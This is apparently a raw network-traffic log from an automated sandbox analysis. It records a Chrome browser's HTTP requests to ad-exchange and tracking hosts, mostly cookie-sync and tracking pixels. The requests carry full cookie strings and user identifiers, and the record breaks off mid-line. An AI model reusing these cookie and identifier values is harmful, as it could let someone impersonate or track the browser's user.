Source: global traffic	HTTP traffic detected: GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN&_bee_ppp=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: checkForPermission=ok
Source: global traffic	HTTP traffic detected: GET /ecm3?id=LVIOSA1W-7-6DCM&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=rbcn&ovsid=LVIOSA1W-7-6DCM&gdpr=0&gdpr_consent=undefined HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8
Source: global traffic	HTTP traffic detected: GET /track/mntrjsAssessed?dHNjPTIwMjQtMDQtMjdUMjIlM0E0MiUzQTE0Ljg0OFomdHNvPS0yJnNucD02M0pmWWtJOSZ2ZXI9Mi4xMS4wJnN6ZT0xNTc5NCZzZXM9Mjk3NmUwNDgtY2JmYi00YjI5LTk3MGQtNjY4MTkwMmM3Y2IxJnBydmNlPXRydWUmaWZyPXRydWUmaG9zPXRydWUmaXNmPXRydWUmb3B0PWZhbHNlJnB1cmw9aHR0cHMlM0ElMkYlMkZ3d3cueWFob28uY29tJTJGJmF3bT0zMDAmYWhtPTI1MCZkc3c9MTI4MCZkc2g9OTg0Jm1vYj1mYWxzZSZ0YWI9ZmFsc2UmYWxzPTI2MzImdDA9MCZ0MTA9MCZ0MjA9MCZ0MjU9MCZ0MzA9MCZ0MzM9MCZ0NDA9MCZ0NTA9MCZ0NjA9MCZ0NjY9MCZ0NzA9MCZ0NzU9MCZ0ODA9MCZ0OTA9MCZ0MTAwPTAmZGN2cz10cnVlJmhiZj0wJnNlcT0xJmVyZG09MTcxNDI1NzczMDk4OTYzNiZlc3RlPWh0dHBzJTNBJTJGJTJGd3d3LnlhaG9vLmNvbSUyRiZlcG1udD01Njc0Mjc1ODYmZXN2cj04JmVpaWQ9QUJBakgwaXpjNmNQRTJFSTAzM29ON3QyX2R5NyZlcHRucj04JmVsaT0yMTE4MDI3OTgyNCZlaW89MTAxNjc3MzI0MyZlZG5pZD01Njc0Mjc1ODYm HTTP/1.1Host: a.a47b.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?https://pixel.rubiconproject.com/tap.php?v=17149&nid=2861&put=${ADELPHIC_CUID}&expires=30&gdpr=0&us_privacy=1YNN HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /visit.js?gdpr=&gdpr_consent=&flvr=0&ttmms=1447&ttfrms=32&brid=3&brver=117.0.0.0&bridua=3&bds=1&tstype=128&eparams=DC4FC%3Dl9EEADTbpTauTauHHH%5DJ29%40%40%5D4%40%3ETauU2%3F4r92%3A%3Fl9EEADTbpTauTauHHH%5DJ29%40%40%5D4%40%3ETar9EEADTbpTauTaufcbege_23c7a7754gc_b35g6bbd43d%604%5DD2767C2%3E6%5D8%40%408%3D6DJ%3F5%3A42E%3A%40%3F%5D4%40%3ETar9EEADTbpTauTaufcbege_23c7a7754gc_b35g6bbd43d%604%5DD2767C2%3E6%5D8%40%408%3D6DJ%3F5%3A42E%3A%40%3F%5D4%40%3ETar23%40FETbpTauTau&srcurlD=0&aUrlD=0&ssl=https:&dfs=1053&ddur=2337&uid=1714257734970587&jsCallback=dvCallback_1714257734970223&dvtagver=6.1.src&navUa=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&htmlmsging=1&chro=1&hist=1&winh=250&winw=300&wouh=984&wouw=1280&scah=984&scaw=1280&jsver=5877&tgjsver=5877&lvvn=28&m1=15&refD=3&referrer=about%3Asrcdoc&sfe=1&fcifrms=25&brh=1&dvp_epl=347&noc=4&nav_pltfrm=Win32&ctx=31263374&cmp=31278923&sid=7916392&plc=386942594&crt=212924006&btreg=583281444&btadsrv=doubleclick&adsrv=1&advid=13690149&errorURL=https://tps.doubleverify.com/visit.jpg&mib=0&dvp_rcp=2&dvp_htec=1&dvp_seem=2&dvp_tuk=1&dvp_sukv=9129880419.027082&ee_dp_sukv=9129880419.027082&dvp_tukv=9396794173.229883&ee_dp_tukv=9396794173.229883&dvp_strhd=1.6000000000058208&dvpx_strhd=1.6000000000058208&dvp_tuid=1637118949809&jurtd=2100071285 HTTP/1.1Host: tps.doubleverify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/images/DISPLAY_HON_FMC_MY24_PROLOGUE_PRODUCT_LAUNCH_GENERAL_BRAND_BRD_LEARNMORE_HTML_DESKTOP_300x250_CAMPAIGN_atlas_NP_1.jpg?1704839638882 HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsskQ6EZyreK4K8S0J1ej0fNlPennI5j5-NigWwmCzS8WWXDvPpSHl2KXfsPd0X7UCX22oqQy_kXGF3zCDRtnxLfPLAGd_bNLLKv_lmjr_ZLXkj0FZp6n2FVXk5FkFGoM0sx5fXaFiZ5F-mxs25bjwuLxcorj8FgqsxH6tCiRZdn_d01YEN3Z2J4TFbjZEnnsK35ea10hpVOoCCUTA&sai=AMfl-YQGJN2OVyvyfGKBjwZ1njq3q61O2qmlyUbvqzCpWOGRw3J9HgFEVjJvrIbRhcDRkwvWOD-3ExH3udbIDPOjIsQXn7wSlIK012w-dQ&sig=Cg0ArKJSzBtQBb5fJ2bvEAE&uach_m=%5BUACH%5D&cry=1&crd=aHR0cHM6Ly9ob25kYWRlYWxlcnMuY29t&fbs_aeid=%5Bgw_fbsaeid%5D&urlfix=1&omid=0&rm=1&ctpt=4341&vt=11&dtpt=4200&dett=3&cstd=136&cisv=r20240424.72996&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&arae=1&ftch=1&adurl= HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAttribution-Reporting-Eligible: event-source, not-trigger;navigation-sourceReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=rubiconprojectHMT&id=8dFku2giTPGwzNVGy6YEoA&gdpr=0 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /prebid/setuid?bidder=rubicon&uid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=ecXEM1/X%W#.wL4W1Qw2.Sw':%
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=ZThjNTkwYWYtMDQyYi02YWRhLTU0MDMtODNlNGFhNWJiZTk2 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: stx_user_id=51b9513d-31fb-4e13-8a96-326616d0043f
Source: global traffic	HTTP traffic detected: GET /setuid/magnite?uid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: prebid.a-mo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=58160&ovsid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/openx/506d2521-5df0-a637-7034-cfa89feebdbf?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=9c7c3f18-d1f6-8f84-81ed-5bca088abb16 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /track/cmb/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSACKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_hm=TFZJT1NBMVctNy02RENN&google_push=&gdpr=0 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Zi1-PgAAvwsNrQAF&_test=Zi1-PgAAvwsNrQAF HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /track/cmf/openx?oxid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSACKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddxu%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=o2ksvWLN1S0QKf5
Source: global traffic	HTTP traffic detected: GET /ddm/trackimp/N2189699.3349700DISPLAYVIDEO360/B31724224.392521620;dc_trk_aid=583921962;dc_trk_cid=213367934;ord=1714257735630;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=;gdpr_consent=;ltd=;dc_tdv=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; 